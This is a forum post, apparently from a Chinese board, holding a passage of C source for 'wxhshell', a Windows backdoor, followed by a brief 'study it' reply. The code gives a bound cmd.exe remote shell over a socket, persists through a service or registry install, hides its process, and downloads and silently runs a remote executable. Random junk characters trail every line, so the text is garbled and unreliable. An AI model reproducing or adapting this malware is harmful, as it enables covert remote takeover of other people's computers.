  if(strstr(cmd,"http://")) { {(MC]]'?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _.y0 QkwV  
  if(DownloadFile(cmd,wsh)) 4tv}V:EO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vPA {)l\K  
  else llP 5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JD}"_,-  
  } %d/Pc4gfc  
  else { A$]&j5nh|  
\$] V#@F  
    switch(cmd[0]) { ow{SsX  
  qFD#D_O6  
  // 帮助 <_~>YJ  
  case '?': { o|?bvFC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W{!GL  
    break; Eax^1 |6  
  } ni$S@0  
  // 安装 6(uK5eD(!n  
  case 'i': { UfUboxT  
    if(Install()) g-Y2U}&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CZL:&~l1  
    else 5s'oVO*hW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !$i*u-%4  
    break; &58+-jzW  
    } z]Dbca1a`  
  // 卸载 tuF hPqe {  
  case 'r': { %@jL? u  
    if(Uninstall()) DZI:zsf;5Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3A/Og  
    else oSOO5dk:z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xF4>D!T%8  
    break; tgPx!5U  
    } Rr|&~%#z  
  // 显示 wxhshell 所在路径 {:;599l  
  case 'p': { *$I5_A8,.  
    char svExeFile[MAX_PATH]; ;Xw'WMb*=  
    strcpy(svExeFile,"\n\r"); "+6:vhP5  
      strcat(svExeFile,ExeFile); W+C@(}pt  
        send(wsh,svExeFile,strlen(svExeFile),0); }I1SC7gY  
    break; oS/cS)N20  
    } &(] @L\A  
  // 重启 1dy>a=W  
  case 'b': { z!r-g(^G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7z=zJ4C  
    if(Boot(REBOOT)) 3. kP,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gfPht 5  
    else { -!k$ Z  
    closesocket(wsh); 1j7sJ" *  
    ExitThread(0); DKG%z~R*  
    } ?{OB+f}Mo  
    break; A@kp` -  
    } u ::2c  
  // 关机 "XEK oeG{  
  case 'd': { 1UHStR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 61W ms@D%  
    if(Boot(SHUTDOWN)) ?x|8"*N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EN =oA P  
    else { 0 =2D 90  
    closesocket(wsh); ;%_fQNFb  
    ExitThread(0); ,(6U3W*bu  
    } l<]@5"wN  
    break; 9,4Lb]  
    } LXIQpD,M  
  // 获取shell cnUYhxE+s  
  case 's': { 8$H_:*A?  
    CmdShell(wsh); d3$&I==;:  
    closesocket(wsh); YtzB/q8I  
    ExitThread(0); pt rQ~m-  
    break; 5jTBPct   
  } Aqwjs 3  
  // 退出 B4yC"55  
  case 'x': { *[-% .=[7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >>ncq$  
    CloseIt(wsh); lAxbF  
    break; 0 s-IW  
    } r pv`%  
  // 离开 gRk%ObJGqm  
  case 'q': { |-W7n'n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OKo39 A\fu  
    closesocket(wsh); G/2| *H  
    WSACleanup();  i,{'}B  
    exit(1); _\9|acFT2O  
    break; q\P"AlpC!  
        } LG0z|x(  
  } [84f[`!Ui  
  } 1@j0kTJ~m  
c Bl F  
  // 提示信息 o Q!56\R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *vL2n>HH  
} 8J P{`)  
  } jb!R  
6[dLj9 G%  
  return; Q]Ymv:M,  
} 0wx lsny?  
k}5Sz  
// shell模块句柄 5ayM}u%\~  
int CmdShell(SOCKET sock) ^r u1QDT  
{ fgs){ Ng`  
STARTUPINFO si; .#M'  
ZeroMemory(&si,sizeof(si)); #bqc}h9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { *"I4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jIq@@8@o  
PROCESS_INFORMATION ProcessInfo; ^ di[J^  
char cmdline[]="cmd"; ;\F3~rl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CnJrJ>l  
  return 0; t8Sblgq  
} {Lex((  
om`x"x&6  
// 自身启动模式 Ag3[Nu1  
int StartFromService(void) ,X[l C\1a  
{ na;U]IK  
typedef struct v&hQ;v  
{ YceX)  
  DWORD ExitStatus; :N \j@yJK  
  DWORD PebBaseAddress; U#I 8Rd I,  
  DWORD AffinityMask; p7UdZOi2  
  DWORD BasePriority; bZ-"R 6a$  
  ULONG UniqueProcessId; #}/YnVk  
  ULONG InheritedFromUniqueProcessId; R6^U9 fDG  
}   PROCESS_BASIC_INFORMATION; "ooq1 0P  
r[ UZHX5+S  
PROCNTQSIP NtQueryInformationProcess; .Ulrv5wJ  
1@&i ju5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?onaJ=mT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; He#5d!cf:M  
xz-z" 8d  
  HANDLE             hProcess; uQwKnD?F+e  
  PROCESS_BASIC_INFORMATION pbi; gWxpGW^eZ~  
MZyzc{c,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,t`u3ykh  
  if(NULL == hInst ) return 0; Y:GSjq  
VJK?"mX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^xW u7q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }@kD&2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FKTdQg|NZ  
J}Q4.1WG$  
  if (!NtQueryInformationProcess) return 0; +d7sy0  
n+C]&6-b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qSB]Zm<  
  if(!hProcess) return 0; 8 JOfx  
'y(;:Kc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ea"!:cL(g  
o"^+i#H!  
  CloseHandle(hProcess); b51{sL  
hJr cy!P<a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B0_[bQoc1  
if(hProcess==NULL) return 0; Ck71N3~W  
s*"Yi~  
HMODULE hMod; -dCM eC  
char procName[255]; 334UMH__  
unsigned long cbNeeded; y\=(;]S'  
V'kCd4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D(EY"s37  
sFd"VRAV~E  
  CloseHandle(hProcess); "|{3V:e>a  
< r6e23  
if(strstr(procName,"services")) return 1; // 以服务启动 {fwA=J9%KS  
{[r}&^K15  
  return 0; // 注册表启动 zG\g{cB  
} 2~:jg1  
^Z?X\t  
// 主模块 v9<7=D&x  
int StartWxhshell(LPSTR lpCmdLine) 8db J'  
{ @8IY J{=  
  SOCKET wsl; tY?_#rc  
BOOL val=TRUE; (7C&I- l  
  int port=0; gmU_# J%~  
  struct sockaddr_in door; h/I'9&J>*  
I! s&m%s  
  if(wscfg.ws_autoins) Install(); ^tWt"GgC  
-8sm^A>C  
port=atoi(lpCmdLine); K+3dwQo  
>C6wm^bl  
if(port<=0) port=wscfg.ws_port; >(v%"04|e  
`t0?PpUo  
  WSADATA data; !$ $|zB%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H+^93  
4'&j<Ah[#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]zGgx07d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X bF;  
  door.sin_family = AF_INET; OYcf+p"<\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JfJUOaL  
  door.sin_port = htons(port); +-b:XeHSZ  
~Wh} W((L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qo1eHn4  
closesocket(wsl); 6XVr-ef  
return 1; _{.=zv|3  
} 5hNjJqu  
1J}i :i&  
  if(listen(wsl,2) == INVALID_SOCKET) { )_*<uSl  
closesocket(wsl); d2b  L_  
return 1; Vb${Oy+  
} PQl a-  
  Wxhshell(wsl); Va^AEuzF  
  WSACleanup(); Sq9I]A  
\/rK0|2A  
return 0; Gp=X1 F  
I y?_2m  
} y[U/5! `zV  
h, |49~^@"  
// 以NT服务方式启动 s%tPGjMq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TW 2OT }  
{ MA\^<x_?L}  
DWORD   status = 0; ;>*l?m-S@n  
  DWORD   specificError = 0xfffffff; OBGA~E;%  
}E=:k&IDPB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Y#$!fIx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W)3IS&;P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @agW{%R:.  
  serviceStatus.dwWin32ExitCode     = 0; v 4@=>L  
  serviceStatus.dwServiceSpecificExitCode = 0; 1<hj3  
  serviceStatus.dwCheckPoint       = 0; Qr`WPTQr"  
  serviceStatus.dwWaitHint       = 0; 9zdp 8?T  
,|gX?[o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aGK=VN}r  
  if (hServiceStatusHandle==0) return; Pn)^mt  
yNY *Fl!  
status = GetLastError(); K6#9HF'2I  
  if (status!=NO_ERROR) bM]\mo>z<  
{ @(XX68  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #UR4I2t*  
    serviceStatus.dwCheckPoint       = 0; wRgh`Hc\}  
    serviceStatus.dwWaitHint       = 0; |meo  
    serviceStatus.dwWin32ExitCode     = status; &3x \wH/_  
    serviceStatus.dwServiceSpecificExitCode = specificError; E?c)WA2iH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wGd4:W  
    return; (*63G4Nz\  
  } W~15[r0  
ld~8g,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d4"KM+EP?  
  serviceStatus.dwCheckPoint       = 0; 3kxI'0&T  
  serviceStatus.dwWaitHint       = 0; GarPnb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v#iKa+tx  
} >|<8QomD  
9>qc1z  
// 处理NT服务事件,比如:启动、停止 ?b',kN,(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) az7<@vSXi  
{ m5HP56a  
switch(fdwControl) EjsAV F [@  
{ neQ2k=ao  
case SERVICE_CONTROL_STOP: rbP" n)0=  
  serviceStatus.dwWin32ExitCode = 0; NTRw:'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N2yxli  
  serviceStatus.dwCheckPoint   = 0; 0- GA,I_  
  serviceStatus.dwWaitHint     = 0; PV?XpT  
  { :tP:X+?O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %N\pfZ2\  
  } ,BM6s,\  
  return; \~H; Wt5  
case SERVICE_CONTROL_PAUSE: 3VJoH4E!6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i2or/(u`  
  break; ]?P9M<0PM  
case SERVICE_CONTROL_CONTINUE: x)6yWr[ri%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QJFx/zU  
  break; 6&(gp(F  
case SERVICE_CONTROL_INTERROGATE: hJ8|KPgdw  
  break; Vq`i.>%5  
}; rvT7 5dV0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MpbH!2J  
} 8fpaY{]  
Xrnxpp!#^D  
// 标准应用程序主函数 27b7~!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S5:`fo^5  
{ a jy.K'B*  
>SJ# rZ  
// 获取操作系统版本 8Rq+eOP=S  
OsIsNt=GetOsVer(); <fX]`57Dc`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f o])=KM  
g`KVF"8  
  // 从命令行安装 {;4AdZk  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^FSUK  
EK:!.Fl  
  // 下载执行文件 9wLV\>i  
if(wscfg.ws_downexe) { J~z;sTR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7)zn[4v7qt  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7+aTrE{  
} "rz|sbj  
n8"S;:Zm  
if(!OsIsNt) { Ba/Z<1)  
// 如果时win9x,隐藏进程并且设置为注册表启动 RYMOLX84  
HideProc(); J-lQPMI,  
StartWxhshell(lpCmdLine); v'`9^3(-  
} 5q[0;`J  
else ]}Hcb)'j@  
  if(StartFromService()) 6T 2jVNg  
  // 以服务方式启动 Ou IoO  
  StartServiceCtrlDispatcher(DispatchTable); 6,'v /A-  
else i][7S mN  
  // 普通方式启动 [0 7N<<  
  StartWxhshell(lpCmdLine); >So)KB  
Ww*='lz  
return 0; j3QpY9A  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八